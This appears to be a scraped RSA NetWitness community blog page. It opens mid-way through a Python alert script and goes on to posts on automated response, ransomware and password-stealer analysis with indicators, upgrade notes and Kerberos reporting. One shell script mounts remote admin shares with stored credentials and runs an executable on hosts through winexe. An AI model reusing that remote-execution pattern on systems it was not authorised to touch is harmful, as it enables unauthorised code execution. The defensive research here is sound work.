for line in p.stdout.readlines():
myresult = myresult + line + "\n",
retval = p.wait()


date = datetime.datetime.now().strftime( "%d/%m/%Y %H:%M" )
subj = ( module_name ) + " :: " + ( date )
for subj_meta in subj_metakeys:
subj += ":: " + ( subj_meta[2])

header = "Use the Investigation tab within Security Analytics to view more details related to this alert.\n\n"
header += "https://192.168.123.4/investigation/"
header += str( concid )
header += "/navigate/event/DETAILS/"
header += str( sessionid )
header += "\n\n"

message_text = "Alert Name: \t\t%s\n" % ( module_name )
message_text += "Date/Time: \t\t%s\n" % ( date )
message_text += "Command: \t\t%s\n" % ( mycommand )
message_text += "Return Value: \t\t%s\n" % ( retval )
message_text += "Result: \t\t%s\n" % ( myresult )

for tuple in metakeys:
message_text += tuple[1] + "\t\t%s\n" % ( tuple[2] )

body_text= header + message_text
msg = "From: %s\nTo: %s\nSubject: %s\nDate: %s\n\n%s\n" % ( from_addr, to_addr, subj, date, body_text )

smtp.sendmail(from_addr, to_addr, msg)
smtp.quit()


if __name__ == "__main__":
dispatch(json.loads(sys.argv[1]))
read()
sys.exit(0)

 

You can import the rule as follows:

 

After this, when the ESA Rule is triggered, the command will be run and you will also get an email of the results of the command.

 

Sample Email Body:

 

 

 

Here what we have achieved is that we run the hostname command on the machine when the ESA Rule triggers.

 

If you wanted to install ECAT for example we need to be a bit more inventive.

 

On our centos command server we use the following file 

 

more installECAT.sh

#Mount the remote machine to copy over ECAT Agent
mount -t cifs //$1/c$ /mnt/temp-mount -o credentials=~/credentials.cfg
#Mount our ECAT source directory where the Agent.exe package lives
mount -t cifs //192.168.123.13/e$/Packages/ECAT /mnt/ecat -o credentials=~/credentials.cfg
cp -rf /mnt/ecat/ecatagent43proxy.exe /mnt/temp-mount/ecatagent43proxy.exe
winexe -A credentials.cfg //$1 'cmd.exe /c "c:\ecatagent43proxy.exe"'
rm /mnt/temp-mount/ecatagent43proxy.exe
umount /mnt/temp-mount

 

To install ECAT on a remotemachine we would run ./installECAT.sh 192.168.123.233

 

We now incorporate this into our ECATInstall Script, by replacing the existing command line with:

# Runs command
mycommand = "ssh root@centos6.waugh.local \"./installECAT.sh " + ip_src + "\""

 

When we ping a suspiciousIP, ECAT then gets installed on the windows machine.

This is a helper report for the lateral movement report pack and alerting capability that was released a while back.

 

This will query for the eventID's that are required to trip the alerting and reporting that were released, to make it easier to understand if the required data is available for the content that was published.

 

https://community.rsa.com/community/products/netwitness/blog/2016/03/09/lateral-movementwindows

 

Contents:

1 report

8 rules

 

Imports into Threats - Windows Lateral Movement

 

Kevin Stear

Popcorn-Time Ransomware

Posted by Kevin Stear Employee Dec 16, 2016

During the week of Dec 12th, FirstWatch took a look at popcorn-time ransomware and its novel approach for a 'viral' attack vector...

 

Popcorn-time executables function much like other typical ransomware, encrypting important files on a victim's machine and demanding 1BTC payment for a decryption key.  Where popcorn-time deviates from typical ransomware campaigns, is it's attempt to exploit the very worst of human nature...  By that I mean, victims who forward a tor2web proxy link (e.g., https://3hnuhydu4pd247qb[.]onion, aka a popcorn-time download site) to 'friends and family' can receive a free decryption key if two of their 'referrals' are infected and pay the 1BTC ransom.  It's like a bad chain letter; yet, this approach gives popcorn-time a viral component to its attack vector that significantly extends both the longevity and fiduciary return of its campaign.

 

As part of the effort to evaluate the ransomware's operational infrastructure, we developed a basic yara signature (see figure 1) for popcorn-time and pulled hashes via VirusTotal retrohunt.  

 

Figure 1: popcorn-time yara signature

popcorntime yara

 

This signature (admittedly somewhat basic) successfully returns popcorn-time VirusTotal submissions from November and early December, which were observed with typical network callbacks to downloader and malvertising domains.  For example, md5 383c368ae33c530da36ffae0bceec80e was active at the end November and observed with DNS lookups and a TCP connection out to popcorn-time-free[.]net.  It is hypothesized that many of the popcorn-time related domains are 302 redirecting traffic to tor2web download sites for victim infection.  The maltego snapshot below is representative of the campaign's IP and Domain infrastructure (with enrichment from pDNS, certificate and domain registrations, open source intelligence, etc) as it relates to these earlier VirusTotal (VT) submissions. 

 

Figure 2: popcorn-time infrastructure

some Popcorn Time infrastructure...

 

During the analysis of this segment of operational infrastructure, we gleaned approximately 300 indicators of compromise (IOCs) that have been pushed into Live under the FirstWatch C2_IPs and C2_DOMAINs (threat.source = 'rsa-firstwatch', threat.category = 'crimeware', and threat.desc = 'popcorn-time').  Although not pictured above, it's worth mentioning that a this infrastrucutre has some times to past Conficker and clickjacker campaigns (e.g., JS/Faceliker deliveries from 1e100[.]net).

 

In somewhat stark contrast, evidence of popcorn-time's viral component begins to appear in VT submissions during early-to-mid December, where related hashes were observed with absolutely no network connections (e.g., https://t.co/s2DczRbqed).  It is believed that this second wave of submissions is representative of 'referral' victims, who may have clicked on a tor2web link emailed to them by their once favorite now dirtbag cousin.  

 

An important note on tor2web proxies, popcorn-time joins recent Cerber and EK campaigns (e.g., Cerber) that increasingly leverage tor services, an obvious step towards obfuscation from security researchers and conventional network defense approaches.  While FirstWatch is aggressively researching capabilities to better mitigate the evolving use of Tor infrastructure in crimeware, the interim recommendation is to block all traffic to and from .TOR and .ONION domains.

 

Thanks for the continued support from Michael Sconzo, Ray Carney, and Rotem Salinas, and a special thanks to MalwareHunterTeam @malwrhunterteam for all the DMs.

 

 

RSA FirstWatch banner

Per request from external teams, I experimented with the NetWitness Suite/Security Analytics 10.6.2 Upgrade in mixed-mode installation.

 

Case 1: SA 10.6.2 and a new host in 10.5.2

Description

  • SA server has been upgraded from 10.6.0 to 10.6.2 using the split zip files.
  • Another host (Decoder) has been built from the 10.5.0 OVA and was upgraded to 10.5.2. 

Observation: 

  • SA 10.6.2 - to - Decoder 10.5.2 provisioning was successful.
  • Upgrade to 10.6.2  is available on the HOST screen and the upgrade was successful. 

 

Case 2: SA 10.6.2 and new host in 10.6.0

Description

  • SA server has been upgraded to 10.6.2 using the split zip files
  • A new host (Concentrator) has been built from the 10.6.0 OVA.

Observation

  • SA 10.6.2 - to - Decoder 10.6.0 provisioning was successful.
  • The new 10.6.0 host can be upgraded using rpms in SA's repo. 

 

Case 3: 10.5.1.2 WLC on Win2K12 and SA 10.6.0 / 10.6.2 setups

Description

  • 10.5.1.2 WLC on Win2K12 and added WLC to 10.6.0 / 10.6.2 setup and tested the functionality of LC and could see all events Concentractor

Observation

  • Upgraded to 10.5.1.2 WLC -> 10.6.2 on WIN2K12 and noticed that NwLogCollector Service crash post upgrade(ASCO-27227).

PEM file issue

If you are upgrading from a new 10.6.0.x systems (from a 10.6.0 image) to 10.6.2 for the first time and you are using SMCUpdate, you must run the following command to create a PEM file.

/# touch /etc/pki/CA/certs/RSACorpCAv2.pem

This workaround has been noted in the 10.6.1 Update Instructions (page 15, Task 8) but not in the 10.6.2 Update Instructions. 

This isn't an issue if you are using 10.6.2 upgrade zip files.

The issue won't be fixed until the next image is released.

 

Note: Background image is Lake Assal is Djibouti. I'm dreaming of a sunny and warm place...

Working with Microsoft EventIDs ? ever use the excellent site Ultimate Windows Security to track down eventIDs ?

 

Here is a context menu to enable right click actions from the reference.id metakey to pivot into the website for security events.  Helps reduce the select , ctrl+c, alt+tab, ctrl+v.

 

administration > system > context menu

 

{
    "displayName": "[MS EventID Lookup]",
    "cssClasses": [
        "reference.id",
        "reference-id"
    ],
    "description": "",
    "type": "UAP.common.contextmenu.actions.URLContextAction",
    "version": "1",
    "modules": [
        "investigation"
    ],
    "local": "false",
    "groupName": "externalLookupGroup",
    "urlFormat": "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid={0}",
    "disabled": "",
    "id": "MSEventIDLookup",
    "moduleClasses": [
        "UAP.investigation.navigate.view.NavigationPanel",
        "UAP.investigation.events.view.EventGrid"
    ],
    "openInNewTab": "true",
    "order": ""
}

Recently I had a customer who was unable to remove their Application rules from a packet decoder as part of removing the old IR 3.5 content.

 

If they tried to remove all the IR content rules at one time after they hit Apply the first time on the review screen where it would show what was being removed and what was to remain after the Apply button was not active.

 

If they tried to remove only a few rules at a time the Apply button on the review screen was active however upon reloading the Application rule tab all the deleted rules were back again.

 

To resolve the issue I made a backup of their Application rules and then navigated to the Explorer view of the packet decoder.

 

WARNING: This is a destructive clearing of all Application rules on the decoder. You will only want to do this if you are experiencing this issue or something similar. Make sure you have a back up copy of your current rule set.

 

 

Right click on application and click on Properties.

 

 

Select clear from the dropdown and then press send in the right hand corner of the Properties screen. You will see a success message in the information box. 

Michael Sconzo

Content Update

Posted by Michael Sconzo Employee Dec 14, 2016

Here's the latest in Content Updates. They enable expanded malware detection as well as add additional features for DNS traffic analysis and analysis around domains.

 

Application Rule Updates

  • Dyzap - Related Blog post
  • Update of Cerber Ransomware rule

 

ESA Rule Updates

  • Update of Cerber Ransomware rule

 

Feed Updates

 

Parser Updates

  • DNS_lua
    • File detection in DNS traffic
    • Base64 and Base36 TXT record detection
  • TLD_lua options file
    • Ability to set local domains and TLDs for identification to whitelist the domains/TLDs from the logic that looks for suspicious domain structure.

[This content is now available OOTB from RSA Live]

Comment below have the links to locate information about the content

 

Based on some documents and blog posts that I ran across, these charts and rules were created to alert/display security relevant events from RSA SecurID/ Authentication Manager 8.2+.  The reporting and charting is not intended to replace the built in logging for for user events but more of an early warning system to detect potential critical security events that SOC should be aware of.

 

As always, test and post comments with suggestions or improvements.

 

1 Dashboard

8 charts

16 rules

1 list

 

All import under the same folder structure

RE > Log > SecurID

 

RSAACESRV parser is required to be installed and enabled on log decoders

 

Syslog log transfer was what was configured in my testing environment

 

Changes to the OOTB index will be required to index the result metakey.

Included the table-map-custom and index-concentrator-custom changes that will be required

 

Has not been tested with 7.x or earlier versions of 8.x (8.0/8.1).

 

ISR is a password stealer that has been spreading through phishing attacks. The malware targets different browsers and programs in order to steal the victim passwords. In this blog post we will discuss how to detect ISR traffic using RSA NetWitness.

 

ISR uploads the stolen data to compromised websites as shown in the screenshot below

 

 

The unique user-agent string used in this HTTP GET request is common among ISR variants:

 

 

Assuming the appropriate meta keys are enabled, the following query can be used to detect ISR network activity:

            service = 80 && client = ‘HardCore Software For : Public’

 

More information about ISR can be found on Intel Security blog. Scan results for an ISR binary can be found here.

 

All the IOCs from those sessions were added to the following feeds on Live:

  • RSA FirstWatch Command and Control Domains
  • RSA FirstWatch Command and Control IPs

To find those IOCs using RSA NetWitness, please refer to this post.

Recently, RSA completed and certified a new threat intelligence partnership with Symantec as part of our RSA Ready program.  This partnership provides the opportunity to leverage Symantec DeepSight Intelligence with the RSA NetWitness Suite platform.  

 

This new certified partner can be utilized by the RSA NetWitness Suite to offer security analysts real-time context about an investigation so they can more quickly detect and respond to an incident.

 

For a detailed description about how to integrate Symantec DeepSight Intelligence into the RSA NetWitness Suite refer to the online integration documentation found here.

 

Also, for additional details and resources, please refer to the RSA Ready Partner Program

[Updated with a 4th use case around NTLM failed authentications with unusual failure codes (result.code) ]

 

After seeing a few recent Twitter conversations regarding Kerberos Odd Events I decided to see who NetWitness would see those events and potentially report and chart them.

 

This is the output of a few web pages and twitter post ideas.  Please test these out in your environment and let me know if there are any improvements or additional filtering that can be done to improve the fidelity of the output. 

 

I don't have a full domain to test with so my data set is limited and there are probably improvements that can be made.

 

Three Four areas that were looked at were:

  • Kerberos Ticket Encryption Types
  • Odd Kerberos Failure codes
  • Kerberos Target Domains
  • Odd NTLM Failure codes

 

The included report can be run to give you ideas where the information came from and potentially other items to look for in the dataset (apparently ::ffff is a legitemate failure and could be filtered from the Ticket Encryption types) and there were potential ways to detect Golden/Silver tickets as well as Mimikatz with the Target Domain (but i have yet to validate those).

 

Included are:

  • Dashboard (1)
  • Charts (4)
  • Report (1)
  • Rules (4)
  • List(2)

The List can be used to help focus the Odd Kerberos Fail codes if required)

All import into the same folder structure

Log -> Windows

 

As always, test and let me know if this provides value and helps bring visibility to a part of your network that is important.

 

The new Investigation Data Model (community.rsa.com/docs/DOC-62313) and Hunting Pack (community.rsa.com/docs/DOC-62301) with the associated Hunting Guide (

community.rsa.com/docs/DOC-62341) provide a new way for analysts to interact with their data and hunt for threats. The attached PDF provides a summary of the key points, and what changes you need to make to your RSA NetWitness deployment to make the most of the new content. Happy Hunting!

EDIT 20161214: Fixed a typo on page 21. Thanks Jim!

Filter Blog

By date: By tag: